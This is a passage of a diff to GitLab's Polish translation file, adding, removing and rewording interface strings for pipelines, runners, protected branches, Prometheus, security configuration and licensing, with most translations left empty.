-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24579,10 +24285,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24600,12 +24306,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24717,9 +24429,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24870,13 +24579,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24921,10 +24630,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24936,6 +24645,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25548,6 +25263,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25833,9 +25551,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25863,6 +25578,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25875,9 +25593,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25926,15 +25641,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25983,9 +25692,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26601,9 +26307,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26619,9 +26322,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26706,21 +26406,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26736,18 +26433,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26763,9 +26451,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26778,6 +26463,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26793,7 +26481,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26802,6 +26490,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26811,9 +26502,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26832,9 +26520,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26958,13 +26643,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
+msgstr ""
+
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allowed to force push"
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26985,12 +26673,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -27000,6 +26697,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -27009,12 +26709,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -27060,18 +26763,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Limit access to creating and updating tags."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27478,6 +27193,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27505,6 +27223,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27686,6 +27407,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27701,15 +27425,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27725,9 +27443,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27875,15 +27590,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27893,15 +27611,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -28313,6 +28022,9 @@ msgstr[3] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28463,12 +28175,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28484,9 +28190,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28585,6 +28288,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr "Harmonogram"
@@ -28594,9 +28300,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28663,12 +28366,21 @@ msgstr "Strona robotników."
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28678,6 +28390,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28687,9 +28402,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28702,9 +28426,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28747,12 +28477,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28783,6 +28519,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28861,6 +28603,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28912,10 +28660,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28948,6 +28693,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28999,6 +28747,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -29083,9 +28834,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -29238,12 +28986,6 @@ msgstr[3] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -29310,6 +29052,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -29331,6 +29076,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -29340,6 +29088,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29364,9 +29118,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29376,12 +29139,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29394,7 +29166,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29403,6 +29178,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29415,6 +29196,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29427,7 +29229,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29490,6 +29292,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29595,6 +29400,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29697,9 +29505,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29730,9 +29535,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29835,9 +29646,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29931,7 +29739,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29970,10 +29778,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -30015,9 +29823,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -30060,6 +29865,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -30150,6 +29958,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -30330,9 +30141,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -30357,6 +30165,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30381,9 +30192,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30411,9 +30219,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30447,12 +30252,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30503,6 +30302,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30836,9 +30638,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30941,6 +30740,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -31007,12 +30809,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -31046,9 +30842,6 @@ msgstr "Ostatni Kontakt"
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -31091,9 +30884,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -31145,6 +30935,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -31163,6 +30956,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -31265,15 +31061,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31490,12 +31277,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31514,7 +31307,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31544,6 +31337,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31631,6 +31427,9 @@ msgstr "Magazyn:"
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31640,9 +31439,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31997,6 +31793,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -32015,7 +31814,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -32087,9 +31892,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -32102,7 +31904,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -32150,7 +31952,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -32165,8 +31967,8 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
-msgstr "Synchronizuj informacje"
